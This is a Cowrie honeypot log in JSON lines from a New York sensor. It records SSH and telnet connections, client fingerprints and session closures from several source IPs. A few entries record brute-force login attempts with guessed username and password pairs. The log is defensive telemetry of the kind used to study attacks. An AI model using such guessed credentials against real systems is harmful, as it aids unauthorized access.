{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47612,"dst_ip":"159.203.135.109","dst_port":22,"session":"639091621ebc","protocol":"ssh","message":"New connection: 213.209.159.158:47612 (159.203.135.109:22) [session: 639091621ebc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:48.251498Z"}
{"eventid":"cowrie.session.closed","duration":30.570395708084106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:49.054992Z","src_ip":"107.155.66.219","session":"dffcc093928c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23945450782776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:49.062387Z","src_ip":"107.155.66.219","session":"537ecd765d98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":60884,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aafb66af4a9","protocol":"telnet","message":"New connection: 68.178.160.252:60884 (159.203.135.109:23) [session: 7aafb66af4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:49.252055Z"}
{"eventid":"cowrie.session.closed","duration":31.00282883644104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:50.093958Z","src_ip":"107.155.66.219","session":"0aa9201efe64","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:50.377385Z","src_ip":"213.209.159.158","session":"639091621ebc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:50.381140Z","src_ip":"213.209.159.158","session":"639091621ebc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.933749437332153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:51.047858Z","src_ip":"107.155.66.219","session":"7b9960e9bb36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97823715209961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:51.115410Z","src_ip":"107.155.66.219","session":"c18b15a39432","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":33734,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf6202de0169","protocol":"telnet","message":"New connection: 68.178.160.252:33734 (159.203.135.109:23) [session: cf6202de0169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:51.469395Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":33766,"dst_ip":"159.203.135.109","dst_port":23,"session":"2559e59ad2a5","protocol":"telnet","message":"New connection: 68.178.160.252:33766 (159.203.135.109:23) [session: 2559e59ad2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:51.491891Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":53502,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f64ada9ad6d","protocol":"ssh","message":"New connection: 156.227.233.77:53502 (159.203.135.109:22) [session: 4f64ada9ad6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:51.557219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:51.563722Z","src_ip":"156.227.233.77","session":"4f64ada9ad6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:51.723590Z","src_ip":"156.227.233.77","session":"4f64ada9ad6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.867658615112305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:51.949625Z","src_ip":"68.178.160.252","session":"9348ce462ac1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.435026168823242,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:52.365079Z","src_ip":"107.155.66.219","session":"bce3b4dad335","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ali","password":"1111","message":"login attempt [ali/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:52.394734Z","src_ip":"156.227.233.77","session":"4f64ada9ad6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58932,"dst_ip":"159.203.135.109","dst_port":23,"session":"d76c9afd1b6f","protocol":"telnet","message":"New connection: 107.155.66.219:58932 (159.203.135.109:23) [session: d76c9afd1b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:52.497115Z"}
{"eventid":"cowrie.session.closed","duration":30.66215991973877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:53.042284Z","src_ip":"107.155.66.219","session":"47f9c85afe35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58938,"dst_ip":"159.203.135.109","dst_port":23,"session":"b10b9e9eccd6","protocol":"telnet","message":"New connection: 107.155.66.219:58938 (159.203.135.109:23) [session: b10b9e9eccd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:53.148730Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:53.557699Z","src_ip":"156.227.233.77","session":"4f64ada9ad6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.020280838012695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:54.136214Z","src_ip":"107.155.66.219","session":"1f52a0a58e15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58952,"dst_ip":"159.203.135.109","dst_port":23,"session":"b72c4bfcb413","protocol":"telnet","message":"New connection: 107.155.66.219:58952 (159.203.135.109:23) [session: b72c4bfcb413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:55.743879Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53138,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ee883ffb7c9","protocol":"telnet","message":"New connection: 62.171.135.55:53138 (159.203.135.109:23) [session: 1ee883ffb7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:55.759280Z"}
{"eventid":"cowrie.session.closed","duration":30.843183279037476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:56.132912Z","src_ip":"107.155.66.219","session":"e2c030863d11","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vk.123345","message":"login attempt [root/vk.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:39:59.771394Z","src_ip":"213.209.159.158","session":"639091621ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":39152,"dst_ip":"159.203.135.109","dst_port":23,"session":"541d246f0242","protocol":"telnet","message":"New connection: 107.155.66.219:39152 (159.203.135.109:23) [session: 541d246f0242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:00.525723Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":39154,"dst_ip":"159.203.135.109","dst_port":23,"session":"087dbf1d5cb7","protocol":"telnet","message":"New connection: 107.155.66.219:39154 (159.203.135.109:23) [session: 087dbf1d5cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:00.676180Z"}
{"eventid":"cowrie.session.closed","duration":30.87315320968628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:01.062574Z","src_ip":"107.155.66.219","session":"471e15e45f5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57070255279541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:01.266583Z","src_ip":"107.155.66.219","session":"90c2e408a01b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":39168,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a9a25289e5d","protocol":"telnet","message":"New connection: 107.155.66.219:39168 (159.203.135.109:23) [session: 4a9a25289e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:01.546715Z"}
{"eventid":"cowrie.session.closed","duration":30.143682718276978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:02.077380Z","src_ip":"107.155.66.219","session":"ade02603272a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576545238494873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:02.125890Z","src_ip":"107.155.66.219","session":"d46239136a05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:02.852902Z","src_ip":"213.209.159.158","session":"639091621ebc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49226,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f18b30dd33e","protocol":"ssh","message":"New connection: 213.209.159.158:49226 (159.203.135.109:22) [session: 1f18b30dd33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:02.973126Z"}
{"eventid":"cowrie.session.closed","duration":30.717470169067383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:03.062130Z","src_ip":"107.155.66.219","session":"73b186f20850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.158759832382202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:03.091639Z","src_ip":"107.155.66.219","session":"3509777c3a36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":39178,"dst_ip":"159.203.135.109","dst_port":23,"session":"486916748477","protocol":"telnet","message":"New connection: 107.155.66.219:39178 (159.203.135.109:23) [session: 486916748477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:03.291325Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":39194,"dst_ip":"159.203.135.109","dst_port":23,"session":"30981ea29c66","protocol":"telnet","message":"New connection: 107.155.66.219:39194 (159.203.135.109:23) [session: 30981ea29c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:04.089831Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":39516,"dst_ip":"159.203.135.109","dst_port":23,"session":"4436e0c09fd2","protocol":"telnet","message":"New connection: 68.178.160.252:39516 (159.203.135.109:23) [session: 4436e0c09fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:04.378758Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":39208,"dst_ip":"159.203.135.109","dst_port":23,"session":"0db4e87e4d3b","protocol":"telnet","message":"New connection: 107.155.66.219:39208 (159.203.135.109:23) [session: 0db4e87e4d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:04.427468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:05.446736Z","src_ip":"213.209.159.158","session":"1f18b30dd33e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:05.450874Z","src_ip":"213.209.159.158","session":"1f18b30dd33e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.160.252","src_port":40288,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc3c298b6a11","protocol":"telnet","message":"New connection: 68.178.160.252:40288 (159.203.135.109:23) [session: bc3c298b6a11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:06.198566Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60336,"dst_ip":"159.203.135.109","dst_port":23,"session":"be30dfeef5ac","protocol":"telnet","message":"New connection: 62.171.135.55:60336 (159.203.135.109:23) [session: be30dfeef5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:06.864403Z"}
{"eventid":"cowrie.session.closed","duration":30.32571315765381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:07.050431Z","src_ip":"107.155.66.219","session":"d909afad27ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893082857131958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:07.057695Z","src_ip":"107.155.66.219","session":"a4444362e487","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.107.167.149","src_port":47532,"dst_ip":"10.17.0.5","dst_port":23,"session":"f52d3a9795ce","protocol":"telnet","message":"New connection: 184.107.167.149:47532 (10.17.0.5:23) [session: f52d3a9795ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:08.952696Z"}
{"eventid":"cowrie.session.closed","duration":30.542272329330444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:09.050066Z","src_ip":"107.155.66.219","session":"edda2fd265eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":36834,"dst_ip":"159.203.135.109","dst_port":23,"session":"d19663aae1c7","protocol":"telnet","message":"New connection: 107.155.66.219:36834 (159.203.135.109:23) [session: d19663aae1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:09.108253Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":36846,"dst_ip":"159.203.135.109","dst_port":23,"session":"d582f0d4ec8d","protocol":"telnet","message":"New connection: 107.155.66.219:36846 (159.203.135.109:23) [session: d582f0d4ec8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:09.813591Z"}
{"eventid":"cowrie.session.closed","duration":30.898756742477417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:10.033757Z","src_ip":"107.155.66.219","session":"60b364704ae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58555555343628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:11.173461Z","src_ip":"107.155.66.219","session":"5afa1760ddeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704724550247192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:12.080517Z","src_ip":"107.155.66.219","session":"1e2c260b988a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.68155074119568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:12.901233Z","src_ip":"107.155.66.219","session":"af45504dfd7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.748558044433594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:13.095108Z","src_ip":"107.155.66.219","session":"788e37b9880a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":36862,"dst_ip":"159.203.135.109","dst_port":23,"session":"18b08f4be5d9","protocol":"telnet","message":"New connection: 107.155.66.219:36862 (159.203.135.109:23) [session: 18b08f4be5d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:13.207180Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":36878,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b5ac179ecd7","protocol":"telnet","message":"New connection: 107.155.66.219:36878 (159.203.135.109:23) [session: 7b5ac179ecd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:14.196662Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vr.123345","message":"login attempt [root/vr.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:14.559142Z","src_ip":"213.209.159.158","session":"1f18b30dd33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97213578224182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:15.150150Z","src_ip":"107.155.66.219","session":"a884983c3234","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":36892,"dst_ip":"159.203.135.109","dst_port":23,"session":"30f5b7a9b162","protocol":"telnet","message":"New connection: 107.155.66.219:36892 (159.203.135.109:23) [session: 30f5b7a9b162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:15.156784Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":36902,"dst_ip":"159.203.135.109","dst_port":23,"session":"b49d449ecf94","protocol":"telnet","message":"New connection: 107.155.66.219:36902 (159.203.135.109:23) [session: b49d449ecf94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:15.161662Z"}
{"eventid":"cowrie.session.closed","duration":30.74832534790039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:15.314710Z","src_ip":"68.178.160.252","session":"9c35d70b60cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.455228090286255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:16.023304Z","src_ip":"107.155.66.219","session":"2630718e0170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845072031021118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:16.029475Z","src_ip":"107.155.66.219","session":"5fa3940fa581","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76985001564026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:16.038543Z","src_ip":"107.155.66.219","session":"1fb50ee37e67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":54064,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e523e388bd6","protocol":"telnet","message":"New connection: 107.155.66.219:54064 (159.203.135.109:23) [session: 1e523e388bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:16.241019Z"}
{"eventid":"cowrie.session.closed","duration":120.00110936164856,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:40:16.619056Z","src_ip":"171.251.236.197","session":"412da8eaf82d","protocol":"telnet"}
